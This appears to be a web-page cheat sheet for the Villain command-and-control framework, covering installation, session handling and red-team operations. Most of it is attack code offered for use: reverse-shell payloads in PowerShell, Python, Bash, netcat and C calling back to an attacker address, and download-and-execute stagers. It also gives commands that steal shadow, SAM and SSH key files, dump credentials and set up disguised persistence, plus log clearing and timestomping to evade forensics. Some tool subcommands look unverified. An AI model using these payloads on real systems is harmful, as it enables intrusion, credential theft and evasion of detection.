Appearance
Villain C2 Framework Cheat Sheet
Overview
Villain is a high-level stage 0/1 command and control (C2) framework designed for managing reverse shells and initial access operations. Built in Python, Villain focuses on simplicity and effectiveness for early-stage red team operations, providing an intuitive interface for managing multiple reverse shell connections, PowerShell operations, and multi-session control.
⚠️ Warning: This tool is intended for authorized penetration testing and red team exercises only. Ensure you have proper authorization before using against any target.
Installation
Prerequisites
bash
# Install Python 3.8+ and pip
sudo apt update
sudo apt install -y python3 python3-pip python3-venv git
# Install system dependencies
sudo apt install -y build-essential libssl-dev libffi-dev python3-dev
# Verify Python version
python3 --version
Installation from GitHub
bash
# Clone Villain repository
git clone https://github.com/t3l3machus/Villain.git
cd Villain
# Create virtual environment
python3 -m venv villain-env
source villain-env/bin/activate
# Install requirements
pip install -r requirements.txt
# Make executable
chmod +x Villain.py
Docker Installation
bash
# Clone repository
git clone https://github.com/t3l3machus/Villain.git
cd Villain
# Build Docker image
docker build -t villain .
# Run Villain container
docker run -it --rm -p 6969:6969 -p 8080:8080 villain
# Run with persistent data
docker run -it --rm -p 6969:6969 -p 8080:8080 -v $(pwd)/data:/app/data villain
Kali Linux Installation
bash
# Install from Kali repositories (if available)
sudo apt update
sudo apt install villain
# Or install from source
git clone https://github.com/t3l3machus/Villain.git
cd Villain
pip3 install -r requirements.txt
Basic Usage
Starting Villain
bash
# Start Villain with default settings
python3 Villain.py
# Start with custom interface and port
python3 Villain.py -i 0.0.0.0 -p 6969
# Start with SSL/TLS encryption
python3 Villain.py -i 0.0.0.0 -p 443 -c /path/to/cert.pem -k /path/to/key.pem
# Start with custom teamserver password
python3 Villain.py -x MySecretPassword
# Start in quiet mode
python3 Villain.py -q
Command Line Options
bash
# Villain command line options
python3 Villain.py -h
Options:
-i, --interface Interface to bind the teamserver (default: 127.0.0.1)
-p, --port Port to bind the teamserver (default: 6969)
-x, --teamserver-password Set teamserver password
-c, --cert Path to SSL certificate file
-k, --key Path to SSL private key file
-q, --quiet Quiet mode (minimal output)
-h, --help Show help message
Web Interface Access
bash
# Access Villain web interface
http://127.0.0.1:6969
# HTTPS access (if SSL configured)
https://your-domain.com:443
# Default credentials
# No authentication by default
# Use -x flag to set teamserver password
Core Features
Session Management
bash
# List active sessions
sessions
# Select session
sessions -i [session_id]
# Session information
sessions -i [session_id] -info
# Kill session
sessions -i [session_id] -k
# Rename session
sessions -i [session_id] -n [new_name]
# Background current session
background
Listener Management
bash
# Create HTTP listener
listeners -c http -p 8080
# Create HTTPS listener
listeners -c https -p 443 -c /path/to/cert.pem -k /path/to/key.pem
# Create reverse shell listener
listeners -c shell -p 4444
# List active listeners
listeners
# Kill listener
listeners -k [listener_id]
Payload Generation
bash
# Generate PowerShell payload
generate -t powershell -l [listener_id]
# Generate Python payload
generate -t python -l [listener_id]
# Generate Bash payload
generate -t bash -l [listener_id]
# Generate Windows executable
generate -t exe -l [listener_id] -o payload.exe
# Generate with obfuscation
generate -t powershell -l [listener_id] -o
Reverse Shell Operations
Basic Shell Commands
bash
# Execute system commands
shell whoami
shell hostname
shell pwd
shell ls -la
shell dir
# Change directory
cd /path/to/directory
cd C:\Windows\System32
# File operations
cat /etc/passwd
type C:\Windows\System32\drivers\etc\hosts
download /path/to/file
upload local_file remote_path
PowerShell Operations
powershell
# Execute PowerShell commands
powershell Get-Process
powershell Get-Service
powershell Get-ComputerInfo
powershell Get-LocalUser
powershell Get-LocalGroup
# PowerShell one-liners
powershell "Get-WmiObject -Class Win32_ComputerSystem"
powershell "Get-NetAdapter | Select-Object Name,InterfaceDescription,LinkSpeed"
powershell "Get-Process | Where-Object {$_.ProcessName -like '*chrome*'}"
# Execute PowerShell scripts
powershell -File C:\Scripts\script.ps1
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/script.ps1')"
File Transfer Operations
bash
# Download files from target
download C:\Users\Administrator\Documents\sensitive.docx
download /etc/shadow
download C:\Windows\System32\config\SAM
# Upload files to target
upload payload.exe C:\Windows\Temp\update.exe
upload script.sh /tmp/script.sh
upload tool.py C:\Users\Public\tool.py
# Bulk file operations
download C:\Users\*\Documents\*.docx
download /home/*/.ssh/id_rsa
Process Management
bash
# List processes
ps
shell tasklist
powershell Get-Process
# Kill process
kill [pid]
shell taskkill /PID [pid] /F
powershell Stop-Process -Id [pid] -Force
# Start process
shell start notepad.exe
powershell Start-Process -FilePath "notepad.exe"
# Process injection
inject [pid] [shellcode_file]
Advanced Features
Multi-Session Management
bash
# Interact with multiple sessions
sessions -a "whoami" # Execute on all sessions
sessions -g [group] "hostname" # Execute on session group
# Session grouping
sessions -i [session_id] -g [group_name]
# Broadcast commands
broadcast "systeminfo"
broadcast "Get-ComputerInfo"
# Session synchronization
sync [session_id1] [session_id2]
Persistence Mechanisms
bash
# Registry persistence
persistence registry -k "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" -v "WindowsUpdate" -p "C:\Windows\Temp\payload.exe"
# Scheduled task persistence
persistence schtask -n "SystemUpdate" -p "C:\Windows\Temp\payload.exe" -t "ONLOGON"
# Service persistence
persistence service -n "WindowsUpdateService" -p "C:\Windows\Temp\payload.exe"
# Startup folder persistence
persistence startup -p "C:\Windows\Temp\payload.exe"
Lateral Movement
bash
# WMI execution
wmi [target_ip] [username] [password] "whoami"
wmi 192.168.1.100 administrator password123 "systeminfo"
# PSExec-style execution
psexec [target_ip] [username] [password] [command]
psexec 192.168.1.100 admin pass123 "powershell -c Get-Process"
# PowerShell remoting
winrm [target_ip] [username] [password] [command]
winrm 192.168.1.100 administrator password123 "Get-Service"
# SSH execution (Linux targets)
ssh [target_ip] [username] [password] [command]
ssh 192.168.1.50 root password123 "uname -a"
Credential Operations
bash
# Dump credentials
creds dump
creds mimikatz
creds lsass
# Credential storage
creds add -u [username] -p [password] -d [domain] -h [hash]
# List stored credentials
creds list
# Use credentials
creds use [cred_id]
# Pass-the-hash
pth [username] [hash] [target] [command]
Network Operations
bash
# Port scanning
portscan [target] [ports]
portscan 192.168.1.0/24 80,443,22,3389
# Network discovery
discover [network]
discover 192.168.1.0/24
# Proxy operations
proxy start [port]
proxy list
proxy stop [proxy_id]
# Tunneling
tunnel [local_port] [remote_host] [remote_port]
Payload Generation and Deployment
PowerShell Payloads
powershell
# Basic PowerShell reverse shell
$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
# Obfuscated PowerShell payload
$s='192.168.1.100';$p=4444;$c=New-Object System.Net.Sockets.TCPClient($s,$p);$st=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$st.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($sb2);$st.Write($sb,0,$sb.Length);$st.Flush()};$c.Close()
# Base64 encoded payload
$command = "powershell -enc " + [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
Python Payloads
python
#!/usr/bin/env python3
# Python reverse shell payload
import socket
import subprocess
import os
import sys
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.100', 4444))
while True:
command = s.recv(1024).decode('utf-8')
if command.lower() == 'exit':
break
if command.startswith('cd '):
try:
os.chdir(command[3:])
s.send(b'Changed directory\n')
except:
s.send(b'Failed to change directory\n')
else:
try:
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
s.send(output)
except:
s.send(b'Command failed\n')
s.close()
if __name__ == '__main__':
connect()
Bash Payloads
bash
#!/bin/bash
# Bash reverse shell payload
exec 5<>/dev/tcp/192.168.1.100/4444
cat <&5 | while read line; do $line 2>&5 >&5; done
# Alternative bash payload
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
# Netcat payload
nc -e /bin/bash 192.168.1.100 4444
# Socat payload
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.100:4444
Binary Payloads
c
// C reverse shell payload
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main() {
int sockfd;
struct sockaddr_in server_addr;
char buffer[1024];
sockfd = socket(AF_INET, SOCK_STREAM, 0);
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(4444);
server_addr.sin_addr.s_addr = inet_addr("192.168.1.100");
connect(sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve("/bin/bash", NULL, NULL);
return 0;
}
// Compile: gcc -o payload payload.c
Automation and Scripting
Python Automation Script
python
#!/usr/bin/env python3
# Villain automation script
import requests
import json
import time
import websocket
from threading import Thread
class VillainAPI:
def __init__(self, host='127.0.0.1', port=6969, password=None):
self.base_url = f"http://{host}:{port}"
self.session = requests.Session()
if password:
self.authenticate(password)
def authenticate(self, password):
"""Authenticate with teamserver"""
auth_data = {'password': password}
response = self.session.post(f"{self.base_url}/auth", json=auth_data)
return response.status_code == 200
def get_sessions(self):
"""Get active sessions"""
response = self.session.get(f"{self.base_url}/api/sessions")
return response.json()
def execute_command(self, session_id, command):
"""Execute command on session"""
cmd_data = {
'session_id': session_id,
'command': command
}
response = self.session.post(f"{self.base_url}/api/execute", json=cmd_data)
return response.json()
def upload_file(self, session_id, local_path, remote_path):
"""Upload file to session"""
with open(local_path, 'rb') as f:
files = {'file': f}
data = {
'session_id': session_id,
'remote_path': remote_path
}
response = self.session.post(f"{self.base_url}/api/upload",
files=files, data=data)
return response.json()
def download_file(self, session_id, remote_path, local_path):
"""Download file from session"""
data = {
'session_id': session_id,
'remote_path': remote_path
}
response = self.session.post(f"{self.base_url}/api/download", json=data)
if response.status_code == 200:
with open(local_path, 'wb') as f:
f.write(response.content)
return True
return False
def automated_recon(self, session_id):
"""Perform automated reconnaissance"""
commands = [
"whoami",
"hostname",
"pwd",
"ps aux" if self.is_linux_session(session_id) else "tasklist",
"ifconfig" if self.is_linux_session(session_id) else "ipconfig /all",
"netstat -an",
"uname -a" if self.is_linux_session(session_id) else "systeminfo"
]
results = []
for cmd in commands:
print(f"[+] Executing: {cmd}")
result = self.execute_command(session_id, cmd)
results.append(result)
time.sleep(2)
return results
def is_linux_session(self, session_id):
"""Check if session is Linux-based"""
result = self.execute_command(session_id, "uname")
return 'Linux' in result.get('output', '')
def establish_persistence(self, session_id):
"""Establish persistence on target"""
if self.is_linux_session(session_id):
# Linux persistence
commands = [
"echo '*/5 * * * * /tmp/payload' | crontab -",
"echo '/tmp/payload' >> ~/.bashrc",
"cp /tmp/payload /etc/init.d/update && chmod +x /etc/init.d/update"
]
else:
# Windows persistence
commands = [
'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "WindowsUpdate" /d "C:\\Windows\\Temp\\payload.exe"',
'schtasks /create /tn "SystemUpdate" /tr "C:\\Windows\\Temp\\payload.exe" /sc onlogon',
'sc create "WindowsUpdateService" binPath= "C:\\Windows\\Temp\\payload.exe" start= auto'
]
for cmd in commands:
print(f"[+] Establishing persistence: {cmd}")
self.execute_command(session_id, cmd)
time.sleep(3)
# Usage example
def main():
villain = VillainAPI('192.168.1.100', 6969, 'MySecretPassword')
# Get active sessions
sessions = villain.get_sessions()
print(f"[+] Found {len(sessions)} active sessions")
for session in sessions:
session_id = session['id']
print(f"[+] Processing session: {session_id}")
# Perform reconnaissance
villain.automated_recon(session_id)
# Establish persistence
villain.establish_persistence(session_id)
# Download interesting files
if villain.is_linux_session(session_id):
villain.download_file(session_id, '/etc/passwd', f'passwd_{session_id}.txt')
villain.download_file(session_id, '/etc/shadow', f'shadow_{session_id}.txt')
else:
villain.download_file(session_id, 'C:\\Windows\\System32\\config\\SAM', f'SAM_{session_id}')
if __name__ == "__main__":
main()
PowerShell Automation
powershell
# Villain PowerShell automation script
function Invoke-VillainAutomation {
param(
[string]$VillainServer = "192.168.1.100",
[int]$Port = 6969,
[string]$Password = $null
)
$baseUrl = "http://$VillainServer:$Port"
# Create web session
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
# Authenticate if password provided
if ($Password) {
$authData = @{ password = $Password } | ConvertTo-Json
try {
$authResponse = Invoke-WebRequest -Uri "$baseUrl/auth" -Method POST -Body $authData -ContentType "application/json" -WebSession $session
}
catch {
Write-Error "Authentication failed: $_"
return
}
}
# Get active sessions
try {
$sessionsResponse = Invoke-WebRequest -Uri "$baseUrl/api/sessions" -WebSession $session
$sessions = $sessionsResponse.Content | ConvertFrom-Json
Write-Host "[+] Found $($sessions.Count) active sessions"
}
catch {
Write-Error "Failed to get sessions: $_"
return
}
# Process each session
foreach ($villainSession in $sessions) {
$sessionId = $villainSession.id
Write-Host "[+] Processing session: $sessionId"
# Reconnaissance commands
$commands = @(
"whoami",
"hostname",
"systeminfo",
"tasklist",
"ipconfig /all",
"netstat -an"
)
foreach ($cmd in $commands) {
$cmdData = @{
session_id = $sessionId
command = $cmd
} | ConvertTo-Json
try {
$cmdResponse = Invoke-WebRequest -Uri "$baseUrl/api/execute" -Method POST -Body $cmdData -ContentType "application/json" -WebSession $session
Write-Host "[+] Executed: $cmd"
Start-Sleep -Seconds 2
}
catch {
Write-Warning "Failed to execute command '$cmd': $_"
}
}
# Establish persistence
$persistenceCommands = @(
'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "WindowsUpdate" /d "C:\Windows\Temp\payload.exe"',
'schtasks /create /tn "SystemUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onlogon'
)
foreach ($cmd in $persistenceCommands) {
$cmdData = @{
session_id = $sessionId
command = $cmd
} | ConvertTo-Json
try {
Invoke-WebRequest -Uri "$baseUrl/api/execute" -Method POST -Body $cmdData -ContentType "application/json" -WebSession $session
Write-Host "[+] Persistence established: $cmd"
Start-Sleep -Seconds 3
}
catch {
Write-Warning "Failed to establish persistence: $_"
}
}
}
}
# Execute automation
Invoke-VillainAutomation -VillainServer "192.168.1.100" -Password "MySecretPassword"
Bash Automation Script
bash
#!/bin/bash
# Villain bash automation script
VILLAIN_SERVER="192.168.1.100"
VILLAIN_PORT="6969"
PASSWORD="MySecretPassword"
BASE_URL="http://$VILLAIN_SERVER:$VILLAIN_PORT"
# Function to execute API calls
api_call() {
local method=$1
local endpoint=$2
local data=$3
if [ -n "$data" ]; then
curl -s -X $method "$BASE_URL$endpoint" \
-H "Content-Type: application/json" \
-d "$data" \
-b cookies.txt -c cookies.txt
else
curl -s -X $method "$BASE_URL$endpoint" \
-b cookies.txt -c cookies.txt
fi
}
# Authenticate
if [ -n "$PASSWORD" ]; then
echo "[+] Authenticating..."
auth_data="{\"password\":\"$PASSWORD\"}"
api_call "POST" "/auth" "$auth_data" > /dev/null
fi
# Get active sessions
echo "[+] Getting active sessions..."
sessions=$(api_call "GET" "/api/sessions")
session_count=$(echo "$sessions" | jq length)
echo "[+] Found $session_count active sessions"
# Process each session
echo "$sessions" | jq -r '.[].id' | while read session_id; do
echo "[+] Processing session: $session_id"
# Reconnaissance commands
commands=("whoami" "hostname" "systeminfo" "tasklist" "ipconfig /all" "netstat -an")
for cmd in "${commands[@]}"; do
echo "[+] Executing: $cmd"
cmd_data="{\"session_id\":\"$session_id\",\"command\":\"$cmd\"}"
api_call "POST" "/api/execute" "$cmd_data" > /dev/null
sleep 2
done
# Establish persistence
persistence_commands=(
'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "WindowsUpdate" /d "C:\\Windows\\Temp\\payload.exe"'
'schtasks /create /tn "SystemUpdate" /tr "C:\\Windows\\Temp\\payload.exe" /sc onlogon'
)
for cmd in "${persistence_commands[@]}"; do
echo "[+] Establishing persistence: $cmd"
cmd_data="{\"session_id\":\"$session_id\",\"command\":\"$cmd\"}"
api_call "POST" "/api/execute" "$cmd_data" > /dev/null
sleep 3
done
done
# Cleanup
rm -f cookies.txt
echo "[+] Automation completed"
Integration with Other Tools
Metasploit Integration
bash
# Use Villain for initial access, pivot to Metasploit
# Generate Metasploit payload
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=8443 -f exe -o meterpreter.exe
# Upload via Villain session
upload meterpreter.exe C:\Windows\Temp\update.exe
# Execute Metasploit payload
shell C:\Windows\Temp\update.exe
# Handle in Metasploit
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 192.168.1.100
set LPORT 8443
run
Empire Integration
bash
# Generate Empire stager
# Use Villain for initial access, pivot to Empire
# From Villain session
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/empire_stager.ps1')"
# Handle in Empire
./empire
listeners
uselistener http
set Host 192.168.1.100
set Port 8080
execute
Cobalt Strike Integration
bash
# Beacon integration
# Generate Cobalt Strike beacon
# Use Villain for initial access, pivot to Beacon
# From Villain session
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/beacon.ps1')"
# Handle in Cobalt Strike team server
Operational Security
Communication Security
bash
# Use HTTPS with valid certificates
# Configure domain fronting
# Implement certificate pinning
# Use legitimate user agents
# Generate SSL certificates
openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes
# Start Villain with SSL
python3 Villain.py -i 0.0.0.0 -p 443 -c server.crt -k server.key
Traffic Obfuscation
bash
# Use custom user agents
# Implement jitter and delays
# Mimic legitimate traffic patterns
# Use common ports and protocols
# Example obfuscated payload
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {Start-Sleep -Seconds (Get-Random -Minimum 5 -Maximum 30); IEX (New-Object Net.WebClient).DownloadString('https://legitimate-domain.com/update.ps1')}"
Anti-Forensics
bash
# Clear event logs
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# Clear PowerShell history
Remove-Item (Get-PSReadlineOption).HistorySavePath
# Timestomping
powershell -c "$(Get-Item file.exe).LastWriteTime = '01/01/2020 12:00:00'"
Troubleshooting
Common Issues
bash
# Session not connecting
1. Check firewall rules
2. Verify listener configuration
3. Test network connectivity
4. Check antivirus interference
# Python dependency issues
pip install --upgrade -r requirements.txt
# SSL certificate issues
openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes
Debug Mode
bash
# Enable verbose logging
python3 Villain.py -v
# Check network connectivity
telnet 192.168.1.100 6969
# Test payload execution
python3 -c "import socket; s=socket.socket(); s.connect(('192.168.1.100', 4444))"
Best Practices
Operational Planning
- Pre-engagement setup: Configure listeners and payloads before engagement
- Session management: Use descriptive session names and grouping
- Communication protocols: Establish secure C2 communication channels
- Data handling: Implement secure data collection and storage
- Cleanup procedures: Plan for artifact removal and session cleanup
Security Considerations
bash
# Secure deployment
# Use strong teamserver passwords
# Enable HTTPS with valid certificates
# Implement network segmentation
# Regular security updates
# Session management
# Use unique session identifiers
# Implement session timeouts
# Regular session rotation
# Secure communication channels
Documentation and Reporting
bash
# Operation documentation
# Maintain session logs
# Document all activities
# Track compromised systems
# Generate executive reports
# Artifact tracking
# Monitor IOCs
# Document forensic artifacts
# Implement attribution prevention
Resources
- Villain GitHub Repository
- Villain Documentation
- Red Team Operations Guide
- MITRE ATT&CK Framework
- SANS Red Team Operations
This cheat sheet provides a comprehensive reference for using Villain C2 framework. Always ensure you have proper authorization before conducting red team operations or penetration testing.